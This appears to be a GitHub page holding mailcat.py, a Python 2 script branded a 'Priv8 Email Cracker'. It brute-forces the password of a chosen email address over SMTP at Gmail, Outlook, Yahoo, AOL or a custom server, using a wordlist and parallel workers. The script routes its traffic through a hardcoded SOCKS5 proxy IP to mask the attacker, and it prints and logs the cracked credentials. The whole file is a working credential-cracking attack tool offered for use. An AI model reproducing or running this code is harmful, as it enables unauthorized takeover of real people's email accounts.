-
Notifications
You must be signed in to change notification settings - Fork 6
/
Copy pathmailcat.py
182 lines (147 loc) · 4.53 KB
/
mailcat.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
###############################################################################
# netcat[dot]av[at]gmail[dot]com
# #!/usr/bin/python
###############################################################################
import sys
from smtplib import SMTP
import smtplib
import multiprocessing
import time
import socks
print "\n"
print " __ __ _ ___ _ ____ _ _____ "
print "| \/ | / \ |_ _| | / ___| / \|_ _|"
print "| |\/| | / _ \ | || | | | / _ \ | | "
print "| | | |/ ___ \ | || |__| |___ / ___ \| | "
print "|_| |_/_/ \_\___|_____\____/_/ \_\_| v1.1"
VERBOSE = 0
LOG = ""
if len(sys.argv) not in [4,5,6,7]:
print "\nUsage: ./mailcat.py <target> <wordlist> <workers> <options>\n"
print "\t -o/-outlog <file> : Output Logfile"
print "\t -v/-verbose : Verbose Mode\n"
sys.exit(1)
for arg in sys.argv[1:]:
if arg.lower() == "-o" or arg.lower() == "-outlog":
LOG = sys.argv[sys.argv[1:].index(arg)+2]
if arg.lower() == "-v" or arg.lower() == "-verbose":
VERBOSE = 1
MAIL = sys.argv[1]
ID, separator, SERVICE = MAIL.rpartition('@')
THREAD = int(sys.argv[3])
try:
words = open(sys.argv[2], "r").readlines()
except(IOError):
print "[-] Error: Check your wordlist path\n"
sys.exit(1)
print "\n***************************************"
print "* Priv8 Email Cracker *"
print "* Coded by N3TC@T *"
print "* netcat[dot]av[at]gmail[dot]com *"
print "***************************************\n"
print "[+] Target Loaded:",MAIL
print "[+] Service Loaded:",SERVICE.upper()
print "[+] Words Loaded:",len(words) , "\n"
def smtp_servers(service):
if (service == "gmail.com"):
return "smtp.gmail.com:587"
elif (service == "hotmail.com" or service == "msn.com" or service == "outlook.com"):
return "smtp-mail.outlook.com:587"
elif (service == "yahoo.com"):
return "smtp.mail.yahoo.com:587"
elif (service == "aol.com" ):
return "smtp.aol.com:587"
else:
print "[!] Sorry SMTP Settings NOT Found !"
return False
def check_server(SERVER):
try:
status , response = SMTP(SERVER).noop()
if (status == 250 ):
return True
else:
return False
except :
return False
def out_log(PATH,CONTENT):
file = open(PATH, "w")
file.write(CONTENT)
file.close()
if(smtp_servers(SERVICE) != False ):
SMTP_SERVER = smtp_servers(SERVICE)
else:
answer = raw_input("[-] Use smtp." + SERVICE + ":587 Setting?(y/n) : " )
if ( answer == "y" ) :
SMTP_SERVER = "smtp." + SERVICE + ":587"
else :
custom_smtp = raw_input("[-] Please Enter Custom SMTP Setting , ex smtp.test.com:587 : " )
SMTP_SERVER = custom_smtp
if (check_server(SMTP_SERVER) != True ):
print "\n[!] SMTP Server " + SMTP_SERVER + " Now Is Offline ! Please Try Again Latter ."
sys.exit(1)
def check_encrypt(SERVER):
IP, separator, PORT = SERVER.rpartition(':')
if(PORT == "465"):
return 0
elif ( PORT == "587" ):
return 1
else:
return 0
TTLS_ENCRYPTION = check_encrypt(SMTP_SERVER)
socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, '121.218.42.173', '23218')
socks.wrapmodule(smtplib)
def brute(word,event):
try:
smtp = SMTP(SMTP_SERVER)
smtp.set_debuglevel(1)
smtp.ehlo(SMTP_SERVER)
if(TTLS_ENCRYPTION == 1 ):
smtp.starttls()
smtp.ehlo(SMTP_SERVER)
word = word.replace("\r","").replace("\n","")
if(VERBOSE==1):
print "[*] Trying " , word
status,response=(smtp.login(MAIL,word))
if (status == 235):
print "\n[!]Successful Login:"
print "***************************************"
print "[!] Email: " , MAIL
print "[!] Password: " , word
print "***************************************\n"
print "[!] Brute Complete"
CONTENT = "Cracked Emails : \n\nEmail: " + MAIL + "\nPassword: " + word
if(LOG != "" ):
out_log(LOG,CONTENT)
print "[+] Log File Saved to: " , LOG , "\n"
event.set()
sys.exit()
smtp.quit()
time.sleep(2)
except smtplib.SMTPAuthenticationError :
smtp.quit()
except smtplib.socket.gaierror:
print "socet error"
pass
def starter():
print "[!] Initializing Workers"
print "[!] Start Cracking ... \n"
p=multiprocessing.Pool(THREAD)
m = multiprocessing.Manager()
event = m.Event()
for word in words:
p.apply_async(brute , (word,event) )
event.wait()
sys.exit()
try:
time.sleep(10)
except (KeyboardInterrupt , SystemExit) :
print "Caught KeyboardInterrupt, terminating workers"
p.terminate()
p.join()
except :
pass
else:
p.close()
p.join()
if __name__ == "__main__":
starter()